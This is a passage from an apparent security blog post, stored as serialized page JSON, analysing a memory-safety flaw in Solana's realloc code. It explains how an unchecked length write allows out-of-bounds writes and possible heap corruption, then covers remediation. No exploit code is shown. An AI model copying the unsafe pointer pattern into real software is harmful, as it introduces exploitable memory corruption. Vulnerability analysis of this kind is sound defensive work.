",{"type":19,"tag":293,"props":13855,"children":13856},{},[13857],{"type":24,"value":13858},"pointer",{"type":24,"value":13860}," to the ",{"type":19,"tag":293,"props":13862,"children":13863},{},[13864],{"type":24,"value":13865},"slice reference",{"type":24,"value":13867},". From here, we turn the pointer into a ",{"type":19,"tag":27,"props":13869,"children":13871},{"className":13870},[],[13872],{"type":24,"value":13873},"*const u64",{"type":24,"value":13875}," pointer and then offset by 1 ",{"type":19,"tag":27,"props":13877,"children":13879},{"className":13878},[],[13880],{"type":24,"value":5479},{"type":24,"value":13882}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":19,"tag":20,"props":13884,"children":13885},{},[13886,13888,13893,13895,13900,13902,13907,13909,13914,13916,13922],{"type":24,"value":13887},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":19,"tag":269,"props":13889,"children":13891},{"href":13890},"#Towards-safer-unsafe",[13892],{"type":24,"value":13560},{"type":24,"value":13894}," too, I promise. In summary, we're writing the new length as a ",{"type":19,"tag":27,"props":13896,"children":13898},{"className":13897},[],[13899],{"type":24,"value":5479},{"type":24,"value":13901}," to the region starting 8 bytes from the start of the slice ",{"type":19,"tag":293,"props":13903,"children":13904},{},[13905],{"type":24,"value":13906},"reference",{"type":24,"value":13908}," (the ",{"type":19,"tag":27,"props":13910,"children":13912},{"className":13911},[],[13913],{"type":24,"value":12910},{"type":24,"value":13915},").So, what does ",{"type":19,"tag":27,"props":13917,"children":13919},{"className":13918},[],[13920],{"type":24,"value":13921},"&[T]",{"type":24,"value":13923}," look like in Rust?",{"type":19,"tag":20,"props":13925,"children":13926},{},[13927,13929,13936,13938,13951,13953,13959],{"type":24,"value":13928},"According to ",{"type":19,"tag":269,"props":13930,"children":13933},{"href":13931,"rel":13932},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[273],[13934],{"type":24,"value":13935},"the reference",{"type":24,"value":13937},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":19,"tag":269,"props":13939,"children":13942},{"href":13940,"rel":13941},"https://doc.rust-lang.org/reference/type-layout.html",[273],[13943,13945,13949],{"type":24,"value":13944},"\"Type layout can be changed with each compilation. ",{"type":19,"tag":168,"props":13946,"children":13947},{},[13948],{"type":24,"value":7032},{"type":24,"value":13950}," we only document what is guaranteed today\"",{"type":24,"value":13952},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":19,"tag":27,"props":13954,"children":13956},{"className":13955},[],[13957],{"type":24,"value":13958},"rustc",{"type":24,"value":13960},", the layout is a data pointer followed by the size; essentially the same as:",{"type":19,"tag":158,"props":13962,"children":13965},{"className":13963,"code":13964,"language":543,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n void* ptr;\n size_t len;\n};\n",[13966],{"type":19,"tag":27,"props":13967,"children":13968},{"__ignoreMap":7},[13969,13977,13989,14006,14019],{"type":19,"tag":168,"props":13970,"children":13971},{"class":170,"line":171},[13972],{"type":19,"tag":168,"props":13973,"children":13974},{"style":373},[13975],{"type":24,"value":13976},"// C language\n",{"type":19,"tag":168,"props":13978,"children":13979},{"class":170,"line":198},[13980,13984],{"type":19,"tag":168,"props":13981,"children":13982},{"style":382},[13983],{"type":24,"value":6842},{"type":19,"tag":168,"props":13985,"children":13986},{"style":212},[13987],{"type":24,"value":13988}," slice_ref {\n",{"type":19,"tag":168,"props":13990,"children":13991},{"class":170,"line":415},[13992,13997,14001],{"type":19,"tag":168,"props":13993,"children":13994},{"style":382},[13995],{"type":24,"value":13996}," void",{"type":19,"tag":168,"props":13998,"children":13999},{"style":399},[14000],{"type":24,"value":2002},{"type":19,"tag":168,"props":14002,"children":14003},{"style":212},[14004],{"type":24,"value":14005}," ptr;\n",{"type":19,"tag":168,"props":14007,"children":14008},{"class":170,"line":450},[14009,14014],{"type":19,"tag":168,"props":14010,"children":14011},{"style":382},[14012],{"type":24,"value":14013}," size_t",{"type":19,"tag":168,"props":14015,"children":14016},{"style":212},[14017],{"type":24,"value":14018}," len;\n",{"type":19,"tag":168,"props":14020,"children":14021},{"class":170,"line":560},[14022],{"type":19,"tag":168,"props":14023,"children":14024},{"style":212},[14025],{"type":24,"value":14026},"};\n",{"type":19,"tag":20,"props":14028,"children":14029},{},[14030],{"type":24,"value":14031},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":19,"tag":2869,"props":14033,"children":14034},{},[14035,14040,14058],{"type":19,"tag":47,"props":14036,"children":14037},{},[14038],{"type":24,"value":14039},"Slices are laid out in the precise manner described",{"type":19,"tag":47,"props":14041,"children":14042},{},[14043,14045,14051,14053],{"type":24,"value":14044},"Pointers and ",{"type":19,"tag":27,"props":14046,"children":14048},{"className":14047},[],[14049],{"type":24,"value":14050},"usize",{"type":24,"value":14052}," are the same width as ",{"type":19,"tag":27,"props":14054,"children":14056},{"className":14055},[],[14057],{"type":24,"value":5479},{"type":19,"tag":47,"props":14059,"children":14060},{},[14061,14063,14068],{"type":24,"value":14062},"The ",{"type":19,"tag":27,"props":14064,"children":14066},{"className":14065},[],[14067],{"type":24,"value":12951},{"type":24,"value":14069}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":19,"tag":20,"props":14071,"children":14072},{},[14073,14075,14080,14082,14088,14090,14095,14097,14103,14105,14110,14112,14122],{"type":24,"value":14074},"Assumption #2 is ",{"type":19,"tag":293,"props":14076,"children":14077},{},[14078],{"type":24,"value":14079},"probably",{"type":24,"value":14081}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":19,"tag":27,"props":14083,"children":14085},{"className":14084},[],[14086],{"type":24,"value":14087},"borrow_mut",{"type":24,"value":14089}," of the ",{"type":19,"tag":27,"props":14091,"children":14093},{"className":14092},[],[14094],{"type":24,"value":12951},{"type":24,"value":14096}," (through ",{"type":19,"tag":27,"props":14098,"children":14100},{"className":14099},[],[14101],{"type":24,"value":14102},"AccountInfo::try_borrow_mut_data()",{"type":24,"value":14104},"), and ",{"type":19,"tag":27,"props":14106,"children":14108},{"className":14107},[],[14109],{"type":24,"value":12951},{"type":24,"value":14111}," is not usable between multiple threads",{"type":19,"tag":12921,"props":14113,"children":14114},{},[14115],{"type":19,"tag":269,"props":14116,"children":14120},{"href":14117,"ariaDescribedBy":14118,"dataFootnoteRef":7,"id":14119},"#user-content-fn-sendsync",[12928],"user-content-fnref-sendsync",[14121],{"type":24,"value":519},{"type":24,"value":14123},", so we already have exclusive access.",{"type":19,"tag":20,"props":14125,"children":14126},{},[14127,14129,14133],{"type":24,"value":14128},"A few more ",{"type":19,"tag":293,"props":14130,"children":14131},{},[14132],{"type":24,"value":4543},{"type":24,"value":14134}," things of note, that could have gone badly but didn't:",{"type":19,"tag":43,"props":14136,"children":14137},{},[14138,14180],{"type":19,"tag":47,"props":14139,"children":14140},{},[14141,14143,14149,14151,14156,14158,14163,14165,14170,14172,14178],{"type":24,"value":14142},"By reborrowing the pointer (the ",{"type":19,"tag":27,"props":14144,"children":14146},{"className":14145},[],[14147],{"type":24,"value":14148},"&mut *(\u003Cvalue of type *mut u64>)",{"type":24,"value":14150},"), we've created a reference with an ",{"type":19,"tag":293,"props":14152,"children":14153},{},[14154],{"type":24,"value":14155},"unbounded lifetime",{"type":24,"value":14157},". Rust is free to infer ",{"type":19,"tag":293,"props":14159,"children":14160},{},[14161],{"type":24,"value":14162},"any",{"type":24,"value":14164}," lifetime for ",{"type":19,"tag":27,"props":14166,"children":14168},{"className":14167},[],[14169],{"type":24,"value":11395},{"type":24,"value":14171}," (including ",{"type":19,"tag":27,"props":14173,"children":14175},{"className":14174},[],[14176],{"type":24,"value":14177},"'static",{"type":24,"value":14179},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":19,"tag":47,"props":14181,"children":14182},{},[14183,14185,14191,14193,14198,14200,14205,14207,14212,14214,14219,14221,14226,14228,14233,14235,14241,14243,14248,14250,14255,14257,14262,14264,14269,14271,14276],{"type":24,"value":14184},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":19,"tag":27,"props":14186,"children":14188},{"className":14187},[],[14189],{"type":24,"value":14190},"RefMut",{"type":24,"value":14192}," returned from ",{"type":19,"tag":27,"props":14194,"children":14196},{"className":14195},[],[14197],{"type":24,"value":11320},{"type":24,"value":14199},", but the ",{"type":19,"tag":27,"props":14201,"children":14203},{"className":14202},[],[14204],{"type":24,"value":14190},{"type":24,"value":14206}," is dropped at the end of the statement. So, we now have in ",{"type":19,"tag":27,"props":14208,"children":14210},{"className":14209},[],[14211],{"type":24,"value":11395},{"type":24,"value":14213}," a ",{"type":19,"tag":293,"props":14215,"children":14216},{},[14217],{"type":24,"value":14218},"mutable",{"type":24,"value":14220}," pointer to the ",{"type":19,"tag":27,"props":14222,"children":14224},{"className":14223},[],[14225],{"type":24,"value":12951},{"type":24,"value":14227},"'s data, but the ",{"type":19,"tag":27,"props":14229,"children":14231},{"className":14230},[],[14232],{"type":24,"value":12951},{"type":24,"value":14234}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":19,"tag":27,"props":14236,"children":14238},{"className":14237},[],[14239],{"type":24,"value":14240},"Mutex",{"type":24,"value":14242}," instead of a ",{"type":19,"tag":27,"props":14244,"children":14246},{"className":14245},[],[14247],{"type":24,"value":12951},{"type":24,"value":14249}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":19,"tag":27,"props":14251,"children":14253},{"className":14252},[],[14254],{"type":24,"value":11395},{"type":24,"value":14256}," and writing to it ",{"type":19,"tag":293,"props":14258,"children":14259},{},[14260],{"type":24,"value":14261},"and succeed",{"type":24,"value":14263},", resulting in us writing while another reference is alive. However, since ",{"type":19,"tag":27,"props":14265,"children":14267},{"className":14266},[],[14268],{"type":24,"value":11395},{"type":24,"value":14270}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":19,"tag":27,"props":14272,"children":14274},{"className":14273},[],[14275],{"type":24,"value":1120},{"type":24,"value":14277}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":19,"tag":20,"props":14279,"children":14280},{},[14281,14283,14288],{"type":24,"value":14282},"Ok, now that we've understood what the code is ",{"type":19,"tag":293,"props":14284,"children":14285},{},[14286],{"type":24,"value":14287},"trying",{"type":24,"value":14289}," to do, let's try to break it, shall we?",{"type":19,"tag":36,"props":14291,"children":14293},{"id":14292},"what-can-go-wrong",[14294],{"type":24,"value":14295},"What can go wrong?",{"type":19,"tag":7050,"props":14297,"children":14299},{"id":14298},"contracts",[14300],{"type":24,"value":14301},"Contracts",{"type":19,"tag":20,"props":14303,"children":14304},{},[14305,14307,14312,14314,14319,14321,14326,14328,14333],{"type":24,"value":14306},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":19,"tag":27,"props":14308,"children":14310},{"className":14309},[],[14311],{"type":24,"value":11084},{"type":24,"value":14313},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":19,"tag":27,"props":14315,"children":14317},{"className":14316},[],[14318],{"type":24,"value":11084},{"type":24,"value":14320}," to some large size, past the end of the buffer of roughly ",{"type":19,"tag":27,"props":14322,"children":14324},{"className":14323},[],[14325],{"type":24,"value":12740},{"type":24,"value":14327}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":19,"tag":27,"props":14329,"children":14331},{"className":14330},[],[14332],{"type":24,"value":1120},{"type":24,"value":14334}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":19,"tag":20,"props":14336,"children":14337},{},[14338,14340,14347],{"type":24,"value":14339},"There is ",{"type":19,"tag":269,"props":14341,"children":14344},{"href":14342,"rel":14343},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[273],[14345],{"type":24,"value":14346},"a check",{"type":24,"value":14348}," by the BPF loader, however, and it boils down to:",{"type":19,"tag":158,"props":14350,"children":14352},{"className":363,"code":14351,"language":362,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n return Err(InstructionError::InvalidRealloc);\n}\n",[14353],{"type":19,"tag":27,"props":14354,"children":14355},{"__ignoreMap":7},[14356,14394,14424,14431,14464],{"type":19,"tag":168,"props":14357,"children":14358},{"class":170,"line":171},[14359,14363,14368,14372,14376,14380,14384,14389],{"type":19,"tag":168,"props":14360,"children":14361},{"style":419},[14362],{"type":24,"value":13027},{"type":19,"tag":168,"props":14364,"children":14365},{"style":393},[14366],{"type":24,"value":14367}," post_len",{"type":19,"tag":168,"props":14369,"children":14370},{"style":399},[14371],{"type":24,"value":948},{"type":19,"tag":168,"props":14373,"children":14374},{"style":175},[14375],{"type":24,"value":11738},{"type":19,"tag":168,"props":14377,"children":14378},{"style":212},[14379],{"type":24,"value":500},{"type":19,"tag":168,"props":14381,"children":14382},{"style":399},[14383],{"type":24,"value":2002},{"type":19,"tag":168,"props":14385,"children":14386},{"style":393},[14387],{"type":24,"value":14388},"pre_len",{"type":19,"tag":168,"props":14390,"children":14391},{"style":212},[14392],{"type":24,"value":14393},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":19,"tag":168,"props":14395,"children":14396},{"class":170,"line":198},[14397,14402,14406,14410,14415,14419],{"type":19,"tag":168,"props":14398,"children":14399},{"style":399},[14400],{"type":24,"value":14401}," ||",{"type":19,"tag":168,"props":14403,"children":14404},{"style":393},[14405],{"type":24,"value":14367},{"type":19,"tag":168,"props":14407,"children":14408},{"style":399},[14409],{"type":24,"value":11640},{"type":19,"tag":168,"props":14411,"children":14412},{"style":212},[14413],{"type":24,"value":14414}," MAX_PERMITTED_DATA_LENGTH ",{"type":19,"tag":168,"props":14416,"children":14417},{"style":382},[14418],{"type":24,"value":6280},{"type":19,"tag":168,"props":14420,"children":14421},{"style":825},[14422],{"type":24,"value":14423}," usize\n",{"type":19,"tag":168,"props":14425,"children":14426},{"class":170,"line":415},[14427],{"type":19,"tag":168,"props":14428,"children":14429},{"style":212},[14430],{"type":24,"value":8324},{"type":19,"tag":168,"props":14432,"children":14433},{"class":170,"line":450},[14434,14439,14443,14447,14451,14455,14460],{"type":19,"tag":168,"props":14435,"children":14436},{"style":419},[14437],{"type":24,"value":14438}," return",{"type":19,"tag":168,"props":14440,"children":14441},{"style":825},[14442],{"type":24,"value":13197},{"type":19,"tag":168,"props":14444,"children":14445},{"style":212},[14446],{"type":24,"value":500},{"type":19,"tag":168,"props":14448,"children":14449},{"style":825},[14450],{"type":24,"value":13206},{"type":19,"tag":168,"props":14452,"children":14453},{"style":399},[14454],{"type":24,"value":888},{"type":19,"tag":168,"props":14456,"children":14457},{"style":825},[14458],{"type":24,"value":14459},"InvalidRealloc",{"type":19,"tag":168,"props":14461,"children":14462},{"style":212},[14463],{"type":24,"value":1249},{"type":19,"tag":168,"props":14465,"children":14466},{"class":170,"line":560},[14467],{"type":19,"tag":168,"props":14468,"children":14469},{"style":212},[14470],{"type":24,"value":1326},{"type":19,"tag":20,"props":14472,"children":14473},{},[14474,14476,14481,14483,14488],{"type":24,"value":14475},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":19,"tag":293,"props":14477,"children":14478},{},[14479],{"type":24,"value":14480},"finishes",{"type":24,"value":14482}," execution. ",{"type":19,"tag":293,"props":14484,"children":14485},{},[14486],{"type":24,"value":14487},"During",{"type":24,"value":14489}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":19,"tag":20,"props":14491,"children":14492},{},[14493,14495,14500,14502,14507,14509,14516],{"type":24,"value":14494},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":19,"tag":293,"props":14496,"children":14497},{},[14498],{"type":24,"value":14499},"arbitrary",{"type":24,"value":14501}," memory access through a mistakenly-",{"type":19,"tag":27,"props":14503,"children":14505},{"className":14504},[],[14506],{"type":24,"value":11084},{"type":24,"value":14508},"'d account, this falls in the relm of some ",{"type":19,"tag":269,"props":14510,"children":14513},{"href":14511,"rel":14512},"https://en.wikipedia.org/wiki/Buffer_overflow",[273],[14514],{"type":24,"value":14515},"old-school pwning",{"type":24,"value":14517}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":19,"tag":7050,"props":14519,"children":14521},{"id":14520},"not-contracts",[14522],{"type":24,"value":14523},"Not-contracts?",{"type":19,"tag":20,"props":14525,"children":14526},{},[14527,14529,14534,14536,14546,14548,14560,14562,14569,14571,14576,14578,14583,14585,14598,14600,14605,14607,14612],{"type":24,"value":14528},"Remember when we said that all this code makes sense ",{"type":19,"tag":293,"props":14530,"children":14531},{},[14532],{"type":24,"value":14533},"if the data points to the BPF loader's serialized buffer",{"type":24,"value":14535},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":19,"tag":269,"props":14537,"children":14540},{"href":14538,"rel":14539},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[273],[14541],{"type":19,"tag":27,"props":14542,"children":14544},{"className":14543},[],[14545],{"type":24,"value":12385},{"type":24,"value":14547}," are public, and so is its ",{"type":19,"tag":269,"props":14549,"children":14552},{"href":14550,"rel":14551},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[273],[14553,14558],{"type":19,"tag":27,"props":14554,"children":14556},{"className":14555},[],[14557],{"type":24,"value":12569},{"type":24,"value":14559}," method",{"type":24,"value":14561}," (which is ",{"type":19,"tag":269,"props":14563,"children":14566},{"href":14564,"rel":14565},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[273],[14567],{"type":24,"value":14568},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":24,"value":14570},"). The ",{"type":19,"tag":27,"props":14572,"children":14574},{"className":14573},[],[14575],{"type":24,"value":11084},{"type":24,"value":14577}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":19,"tag":27,"props":14579,"children":14581},{"className":14580},[],[14582],{"type":24,"value":12385},{"type":24,"value":14584}," ourselves - potentially through the ",{"type":19,"tag":269,"props":14586,"children":14589},{"href":14587,"rel":14588},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[273],[14590,14596],{"type":19,"tag":27,"props":14591,"children":14593},{"className":14592},[],[14594],{"type":24,"value":14595},"Account",{"type":24,"value":14597}," trait",{"type":24,"value":14599},", which is hardly documented at all and makes ",{"type":19,"tag":293,"props":14601,"children":14602},{},[14603],{"type":24,"value":14604},"no",{"type":24,"value":14606}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":19,"tag":27,"props":14608,"children":14610},{"className":14609},[],[14611],{"type":24,"value":1120},{"type":24,"value":14613}," buffer.",{"type":19,"tag":20,"props":14615,"children":14616},{},[14617,14619,14630,14632,14638,14640,14646,14648,14661,14663,14668,14670,14675,14677,14682,14684,14689,14691,14696,14698,14703],{"type":24,"value":14618},"One long arm of this is ",{"type":19,"tag":269,"props":14620,"children":14623},{"href":14621,"rel":14622},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[273],[14624],{"type":19,"tag":27,"props":14625,"children":14627},{"className":14626},[],[14628],{"type":24,"value":14629},"solana_sdk::account::Account",{"type":24,"value":14631}," - in the client SDK. It holds an account's data in a ",{"type":19,"tag":27,"props":14633,"children":14635},{"className":14634},[],[14636],{"type":24,"value":14637},"Vec\u003Cu8>",{"type":24,"value":14639},", and it implements ",{"type":19,"tag":27,"props":14641,"children":14643},{"className":14642},[],[14644],{"type":24,"value":14645},"solana_program::account_info::Account",{"type":24,"value":14647}," (the trait from earlier) - by ",{"type":19,"tag":269,"props":14649,"children":14652},{"href":14650,"rel":14651},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[273],[14653,14655],{"type":24,"value":14654},"returning a reference to the contents of that ",{"type":19,"tag":27,"props":14656,"children":14658},{"className":14657},[],[14659],{"type":24,"value":14660},"Vec",{"type":24,"value":14662},". So, ",{"type":19,"tag":27,"props":14664,"children":14666},{"className":14665},[],[14667],{"type":24,"value":11084},{"type":24,"value":14669}," writes the size into the 8 bytes right before ",{"type":19,"tag":27,"props":14671,"children":14673},{"className":14672},[],[14674],{"type":24,"value":1120},{"type":24,"value":14676},"; ",{"type":19,"tag":27,"props":14678,"children":14680},{"className":14679},[],[14681],{"type":24,"value":1120},{"type":24,"value":14683}," is the buffer of a ",{"type":19,"tag":27,"props":14685,"children":14687},{"className":14686},[],[14688],{"type":24,"value":14660},{"type":24,"value":14690},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":19,"tag":27,"props":14692,"children":14694},{"className":14693},[],[14695],{"type":24,"value":12385},{"type":24,"value":14697}," out of an SDK ",{"type":19,"tag":27,"props":14699,"children":14701},{"className":14700},[],[14702],{"type":24,"value":14595},{"type":24,"value":14704}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":19,"tag":36,"props":14706,"children":14708},{"id":14707},"remediation",[14709],{"type":24,"value":14710},"Remediation",{"type":19,"tag":20,"props":14712,"children":14713},{},[14714],{"type":24,"value":14715},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":19,"tag":20,"props":14717,"children":14718},{},[14719,14721,14726,14728,14733,14735,14746,14748,14753,14755,14762],{"type":24,"value":14720},"The sensible thing to do would be to store the initial size in the ",{"type":19,"tag":27,"props":14722,"children":14724},{"className":14723},[],[14725],{"type":24,"value":12385},{"type":24,"value":14727},"... except for the fact that the layout of ",{"type":19,"tag":27,"props":14729,"children":14731},{"className":14730},[],[14732],{"type":24,"value":12385},{"type":24,"value":14734}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":19,"tag":12921,"props":14736,"children":14737},{},[14738],{"type":19,"tag":269,"props":14739,"children":14743},{"href":14740,"ariaDescribedBy":14741,"dataFootnoteRef":7,"id":14742},"#user-content-fn-layout",[12928],"user-content-fnref-layout",[14744],{"type":24,"value":14745},"3",{"type":24,"value":14747}," So, with changing ",{"type":19,"tag":27,"props":14749,"children":14751},{"className":14750},[],[14752],{"type":24,"value":12385},{"type":24,"value":14754}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":19,"tag":269,"props":14756,"children":14759},{"href":14757,"rel":14758},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[273],[14760],{"type":24,"value":14761},"this function",{"type":24,"value":1922},{"type":19,"tag":158,"props":14764,"children":14766},{"className":363,"code":14765,"language":362,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n let key_ptr = self.key as *const _ as *const u8;\n let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n *original_data_len_ptr as usize\n}\n",[14767],{"type":19,"tag":27,"props":14768,"children":14769},{"__ignoreMap":7},[14770,14778,14786,14794,14802,14809,14817,14825,14873,14938,15004,15025],{"type":19,"tag":168,"props":14771,"children":14772},{"class":170,"line":171},[14773],{"type":19,"tag":168,"props":14774,"children":14775},{"style":373},[14776],{"type":24,"value":14777},"/// Return the account's original data length when it was serialized for the\n",{"type":19,"tag":168,"props":14779,"children":14780},{"class":170,"line":198},[14781],{"type":19,"tag":168,"props":14782,"children":14783},{"style":373},[14784],{"type":24,"value":14785},"/// current program invocation.\n",{"type":19,"tag":168,"props":14787,"children":14788},{"class":170,"line":415},[14789],{"type":19,"tag":168,"props":14790,"children":14791},{"style":373},[14792],{"type":24,"value":14793},"///\n",{"type":19,"tag":168,"props":14795,"children":14796},{"class":170,"line":450},[14797],{"type":19,"tag":168,"props":14798,"children":14799},{"style":373},[14800],{"type":24,"value":14801},"/// # Safety\n",{"type":19,"tag":168,"props":14803,"children":14804},{"class":170,"line":560},[14805],{"type":19,"tag":168,"props":14806,"children":14807},{"style":373},[14808],{"type":24,"value":14793},{"type":19,"tag":168,"props":14810,"children":14811},{"class":170,"line":666},[14812],{"type":19,"tag":168,"props":14813,"children":14814},{"style":373},[14815],{"type":24,"value":14816},"/// This method assumes that the original data length was serialized as a u32\n",{"type":19,"tag":168,"props":14818,"children":14819},{"class":170,"line":694},[14820],{"type":19,"tag":168,"props":14821,"children":14822},{"style":373},[14823],{"type":24,"value":14824},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":19,"tag":168,"props":14826,"children":14827},{"class":170,"line":707},[14828,14832,14836,14840,14845,14849,14853,14857,14861,14865,14869],{"type":19,"tag":168,"props":14829,"children":14830},{"style":382},[14831],{"type":24,"value":11136},{"type":19,"tag":168,"props":14833,"children":14834},{"style":382},[14835],{"type":24,"value":12036},{"type":19,"tag":168,"props":14837,"children":14838},{"style":382},[14839],{"type":24,"value":11141},{"type":19,"tag":168,"props":14841,"children":14842},{"style":175},[14843],{"type":24,"value":14844}," original_data_len",{"type":19,"tag":168,"props":14846,"children":14847},{"style":212},[14848],{"type":24,"value":500},{"type":19,"tag":168,"props":14850,"children":14851},{"style":399},[14852],{"type":24,"value":505},{"type":19,"tag":168,"props":14854,"children":14855},{"style":382},[14856],{"type":24,"value":11159},{"type":19,"tag":168,"props":14858,"children":14859},{"style":212},[14860],{"type":24,"value":481},{"type":19,"tag":168,"props":14862,"children":14863},{"style":399},[14864],{"type":24,"value":11203},{"type":19,"tag":168,"props":14866,"children":14867},{"style":825},[14868],{"type":24,"value":11177},{"type":19,"tag":168,"props":14870,"children":14871},{"style":212},[14872],{"type":24,"value":691},{"type":19,"tag":168,"props":14874,"children":14875},{"class":170,"line":725},[14876,14880,14885,14889,14893,14897,14902,14906,14910,14914,14918,14922,14926,14930,14934],{"type":19,"tag":168,"props":14877,"children":14878},{"style":382},[14879],{"type":24,"value":385},{"type":19,"tag":168,"props":14881,"children":14882},{"style":393},[14883],{"type":24,"value":14884}," key_ptr",{"type":19,"tag":168,"props":14886,"children":14887},{"style":399},[14888],{"type":24,"value":402},{"type":19,"tag":168,"props":14890,"children":14891},{"style":382},[14892],{"type":24,"value":11243},{"type":19,"tag":168,"props":14894,"children":14895},{"style":399},[14896],{"type":24,"value":948},{"type":19,"tag":168,"props":14898,"children":14899},{"style":212},[14900],{"type":24,"value":14901},"key ",{"type":19,"tag":168,"props":14903,"children":14904},{"style":382},[14905],{"type":24,"value":6280},{"type":19,"tag":168,"props":14907,"children":14908},{"style":399},[14909],{"type":24,"value":7259},{"type":19,"tag":168,"props":14911,"children":14912},{"style":382},[14913],{"type":24,"value":7097},{"type":19,"tag":168,"props":14915,"children":14916},{"style":393},[14917],{"type":24,"value":427},{"type":19,"tag":168,"props":14919,"children":14920},{"style":382},[14921],{"type":24,"value":6266},{"type":19,"tag":168,"props":14923,"children":14924},{"style":399},[14925],{"type":24,"value":7259},{"type":19,"tag":168,"props":14927,"children":14928},{"style":382},[14929],{"type":24,"value":7097},{"type":19,"tag":168,"props":14931,"children":14932},{"style":825},[14933],{"type":24,"value":12080},{"type":19,"tag":168,"props":14935,"children":14936},{"style":212},[14937],{"type":24,"value":412},{"type":19,"tag":168,"props":14939,"children":14940},{"class":170,"line":746},[14941,14945,14950,14954,14958,14962,14966,14970,14974,14979,14983,14987,14991,14995,15000],{"type":19,"tag":168,"props":14942,"children":14943},{"style":382},[14944],{"type":24,"value":385},{"type":19,"tag":168,"props":14946,"children":14947},{"style":393},[14948],{"type":24,"value":14949}," original_data_len_ptr",{"type":19,"tag":168,"props":14951,"children":14952},{"style":399},[14953],{"type":24,"value":402},{"type":19,"tag":168,"props":14955,"children":14956},{"style":393},[14957],{"type":24,"value":14884},{"type":19,"tag":168,"props":14959,"children":14960},{"style":399},[14961],{"type":24,"value":948},{"type":19,"tag":168,"props":14963,"children":14964},{"style":175},[14965],{"type":24,"value":11347},{"type":19,"tag":168,"props":14967,"children":14968},{"style":212},[14969],{"type":24,"value":500},{"type":19,"tag":168,"props":14971,"children":14972},{"style":399},[14973],{"type":24,"value":1757},{"type":19,"tag":168,"props":14975,"children":14976},{"style":192},[14977],{"type":24,"value":14978},"4",{"type":19,"tag":168,"props":14980,"children":14981},{"style":212},[14982],{"type":24,"value":481},{"type":19,"tag":168,"props":14984,"children":14985},{"style":382},[14986],{"type":24,"value":6280},{"type":19,"tag":168,"props":14988,"children":14989},{"style":399},[14990],{"type":24,"value":7259},{"type":19,"tag":168,"props":14992,"children":14993},{"style":382},[14994],{"type":24,"value":7097},{"type":19,"tag":168,"props":14996,"children":14997},{"style":825},[14998],{"type":24,"value":14999}," 